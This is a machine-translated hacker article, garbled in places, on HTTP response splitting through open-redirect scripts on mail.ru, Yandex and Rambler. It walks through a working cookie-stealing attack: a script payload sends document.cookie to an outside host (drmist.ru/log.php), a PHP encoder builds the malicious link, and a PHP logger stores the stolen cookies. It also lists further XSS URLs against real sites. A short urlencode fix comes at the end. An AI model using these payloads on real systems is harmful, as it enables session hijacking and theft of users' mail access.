This page has been robot translated, sorry for typos if any. Original content here.

HTTP splitting vulnerability

У статті рассмтрівается практичне застосування уразливості, відомої як HTTP splitting vulnerability

Бажний header () під мікроскопом

Блукаючи по просторах інтернету ми часто спостерігаємо url виду http://anyhost.com/redirect.php?url=http://otherhost.com Нехитрий користувач ніяк не тривалого думаючи просто клацає по ньому також догоджає на otherhost.com. Допитливий користувач підставляє на приміщення url адресу cвоей хомпагі також переконується в кривизни скрипта.
Крім простих також цікавих в інтернеті живуть дуже цікаві користувачі. Вони вбивають посилання в AccessDiver також починають вивчати роботу скрипта.

1. Сутність бага.
2. Практичне застосування.
3. Розташування про поширеність похибки.
4. Засоби охорони.

для танкістів підказую, що AccessDiver - "хакрескій", як прийнято виражати в нації, знаряддя. Завантажити його можна на оффсайте проекту. На момент написання цього тексту останньою версією утиліти була 4.173. Програма найбільш відома своєю функцією HTTP Debuger. Скористатися нею можна, перейшовши в режим експерта також вибравши відповідну функцію в меню Tools (F4 потім Сtr + F9 - в залежності від версії клавіші могли поміняти). Далі ми ніяк не буду акцентувати турбота на її налаштування, тк впорається з дайвером може всякий школяр.

для експериментів ми вибрав mail.ru , оскільки це найвідоміша поштова служба в рунеті також читачеві стане особливо цікаво дізнатися про баг на цьому проекті;) Давайте зайдемо за посиланням http://go.mail.ru/urltracker?url=http:/ /www.security-teams.net. Нас перекине на самий обраний портал з комп'ютерної безпеки;). Додаємо сайт в закладки також повертаємося до мейлу. Запишемо зацікавила нас посилання в поле HTTP Address, поставимо Mode рівний Get, тиснемо Connect.
Перед нами з'являться HTTP заголовки, які повертаються сервером, приблизно як на скріншете:



Звернемо турбота на підкреслену рядок. Зустрівши в заголовках Location:, браузер беззастережно переносить нас за вказаною url. Отже, ми можемо підсунути користувачеві посилання, як би на мейлі, однак потрапить він зовсім не на мейл. Все це чудово, але на практиці нічого не відчужує.

Звернемо турбота на те, що рядки в заголовку розділені двома символів 0Dh 0Ah. А що, якщо приписати їх в кінці посилання? Давайте подивимося, що поверне нам сервер в заперечення на запит http://go.mail.ru/urltracker?url=null%0D%0AHacked_by:%20drmist:



Як цікаво. Значить ми можемо змусити сервер видасть майже що всякий заголовок. Наприклад змінити призначені для користувача кукіси. Але, знову ж, це ще ніяк не так цікаво, як те, що зволікає нас попереду. Цікаво те, що заголовки відокремлюються від тіла акту послідовністю 0Dh 0Ah 0Dh 0Ah. Невже ми здатні видати сповна будь-яку сторінку? Вводимо http://go.mail.ru/urltracker?url=% 0D% 0A% 0D% 0A <script> alert (document.cookie); </ script> <! - також дивимося:



Все, що жовтим - це текст самого документа. Якщо в браузері включений JavaScript, то зайшовши за посиланням ми побачимо message box з нашими кукисам. Щоб зробити XSS напад, потрібно:
1) Скласти сторінку типу <script> document.location = 'http://drmist.ru/log.php?'+document.cookie; </ script>
2) Провести її в url-encode за допомогою скрипта:

<? php
$ url = "http://go.mail.ru/urltracker?url=";
$ s = "<script> document.location = 'http: //drmist.ru/log.php?'";
$ s. = "+ document.cookie; </ script>";
$ res = "";
for ($ i = 0; $ i <strlen ($ s); $ i ++)
{
$ res. = "%";
$ t = ord ($ s [$ i]);
if ($ t <16)
$ res. = "0";
$ res. = dechex ($ t);
}

echo $ url. "% 0d% 0a% 0d% 0a". $ res;
?>

отримаємо:
http://go.mail.ru/urltracker?url=%0d%0a%0d%0a%3c%73%63 ... і т.д. (**)

3) написати скрипт log.php також залити його на drmist.ru:
<? php
$ fid = fopen ( "../ log.txt", "a");
fputs ($ fid, $ _SERVER [ "QUERY_STRING"]. "\ r \ r \ r");
fclose ($ fid);
header ( "Location: http://www.mail.ru");
?>

Нині дозволено впарювати чарівну посилання (**) також купувати кукіси жертви.
За ним дозволено зробити чимало корисних речей, наприклад отримати доступ до пошти, але про це в іншій раз, ми також так здорово відволікся від основної теми.

Зрозуміло, що не треба гнати на мейл, що це бажний ресурс, гівно, також ваще ніяк не з нашої пісочниці. Всім людям властиво робити помилки, однак адміни мейл.ру помиляються все рідше також рідше. Правда баги все ще залишаються. , Люди мовчать про них ніяк не через користі, проте через страх неадекватної реакції адміністрації на їх знаходження, яка, згідно зі статистикою, володіє місце. На щастя, наявність XSS ще ніяк не гарантує отримання доступу до поштової скриньки. Упевнений, баг прикриють. Найпізніше - через 2 доби. Вразливий ніяк не тільки mail.ru. Настійно рекомендую ознайомитися:
http://yandex.ru/redir/?url=[XSS]
http://rambler.ru//click?_URL=[XSS]

Зізнатися, ми був здорово здивований, в який час дізнався, що про таких вразливості писали на securitylab.ru ще 3 роки тому (див Впровадження CRLF в PHP функцію header () від 10.09.2002), але оскільки про практичному застосуванні бага ми ніяк не чув ще жодного разу, то вважав тему актуальною. До того бла бла врятли дозволено назвати ніяк не актуальним наявність багів на Яндексі, Рамблері також мейлі.

Виправити похибка ніяк не складно. Нехай їсти вразливий скрипт:

<?
if (! isset ($ url))
$ url = "http://www.mail.ru";

header ( "Location: $ url");

?>

Робимо з нього невразливий:

header ( "Location:" .urlencode ($ url));

Якщо редирект планується тільки в межах сайту, то краще за все зробити так:

header ( "Location: http://www.mail.ru/".urlencode($url));

Ось мабуть також все, що ми хотів повідомити. Дозвольте на останок запропонувати ще кілька XSS:

http://talk.mail.ru/article.html?ID=31836089&page=1 "> <h1> XSS </ h1>
http://www.pochta.ru/?lng=en "<h1> XSS </ h1>